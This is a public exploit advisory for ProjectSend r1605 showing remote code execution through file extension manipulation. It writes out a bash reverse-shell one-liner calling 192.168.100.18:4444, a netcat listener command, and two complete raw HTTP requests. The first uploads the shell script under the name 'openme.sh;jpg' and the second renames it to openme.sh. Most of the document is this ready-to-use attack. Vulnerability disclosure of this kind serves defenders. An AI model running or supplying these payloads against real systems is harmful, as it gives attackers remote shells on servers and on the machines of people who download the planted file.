projectSend r1605 Remote Code Execution

`Exploit Title: projectSend r1605 - Remote Code Exectution RCE  
Application: projectSend  
Version: r1605  
Bugs: rce via file extension manipulation  
Technology: PHP  
Vendor URL: https://www.projectsend.org/  
Software Link: https://www.projectsend.org/  
Date of found: 26-01-2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
POC video: https://youtu.be/Ln7KluDfnk4  
  
2. Technical Details & POC  
========================================  
  
1.The attacker first creates a txt file and pastes the following code. Next, the Attacker changes the file extension to jpg. Because the system php,sh,exe etc. It does not allow files.   
  
bash -i >& /dev/tcp/192.168.100.18/4444 0>&1  
  
2.Then the attacker starts listening for ip and port   
nc -lvp 4444  
  
3.and when uploading file it makes http request as below.file name should be like this openme.sh;jpg  
  
  
  
POST /includes/upload.process.php HTTP/1.1  
Host: localhost  
Content-Length: 525  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-platform: "Linux"  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0enbZuQQAtahFVjI  
Accept: */*  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/upload.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: download_started=false; PHPSESSID=jtk7d0nats7nb1r5rjm7a6kj59  
Connection: close  
  
------WebKitFormBoundary0enbZuQQAtahFVjI  
Content-Disposition: form-data; name="name"  
  
openme.sh;jpg  
------WebKitFormBoundary0enbZuQQAtahFVjI  
Content-Disposition: form-data; name="chunk"  
  
0  
------WebKitFormBoundary0enbZuQQAtahFVjI  
Content-Disposition: form-data; name="chunks"  
  
1  
------WebKitFormBoundary0enbZuQQAtahFVjI  
Content-Disposition: form-data; name="file"; filename="blob"  
Content-Type: application/octet-stream  
  
bash -i >& /dev/tcp/192.168.100.18/4444 0>&1  
  
------WebKitFormBoundary0enbZuQQAtahFVjI--  
  
  
4.In the second request, we do this to the filename section at the bottom.  
  
openme.sh  
  
  
POST /files-edit.php?ids=34 HTTP/1.1  
Host: localhost  
Content-Length: 1016  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc8btjvyb3An7HcmA  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/files-edit.php?ids=34&type=new  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: download_started=false; PHPSESSID=jtk7d0nats7nb1r5rjm7a6kj59  
Connection: close  
  
------WebKitFormBoundaryc8btjvyb3An7HcmA  
Content-Disposition: form-data; name="csrf_token"  
  
66540808a4bd64c0f0566e6c20a4bc36c49dfac41172788424c6924b15b18d02  
------WebKitFormBoundaryc8btjvyb3An7HcmA  
Content-Disposition: form-data; name="file[1][id]"  
  
34  
------WebKitFormBoundaryc8btjvyb3An7HcmA  
Content-Disposition: form-data; name="file[1][original]"  
  
openme.sh;.jpg  
------WebKitFormBoundaryc8btjvyb3An7HcmA  
Content-Disposition: form-data; name="file[1][file]"  
  
1674759035-52e51cf3f58377b8a687d49b960a58dfc677f0ad-openmesh.jpg  
------WebKitFormBoundaryc8btjvyb3An7HcmA  
Content-Disposition: form-data; name="file[1][name]"  
  
openme.sh  
------WebKitFormBoundaryc8btjvyb3An7HcmA  
Content-Disposition: form-data; name="file[1][description]"  
  
  
------WebKitFormBoundaryc8btjvyb3An7HcmA  
Content-Disposition: form-data; name="file[1][expiry_date]"  
  
25-02-2023  
------WebKitFormBoundaryc8btjvyb3An7HcmA  
Content-Disposition: form-data; name="save"  
  
  
------WebKitFormBoundaryc8btjvyb3An7HcmA--  
  
  
And it doesn't matter who downloads your file. if it opens then reverse shell will be triggered and rce  
  
  
private youtube video poc : https://youtu.be/Ln7KluDfnk4  
  
`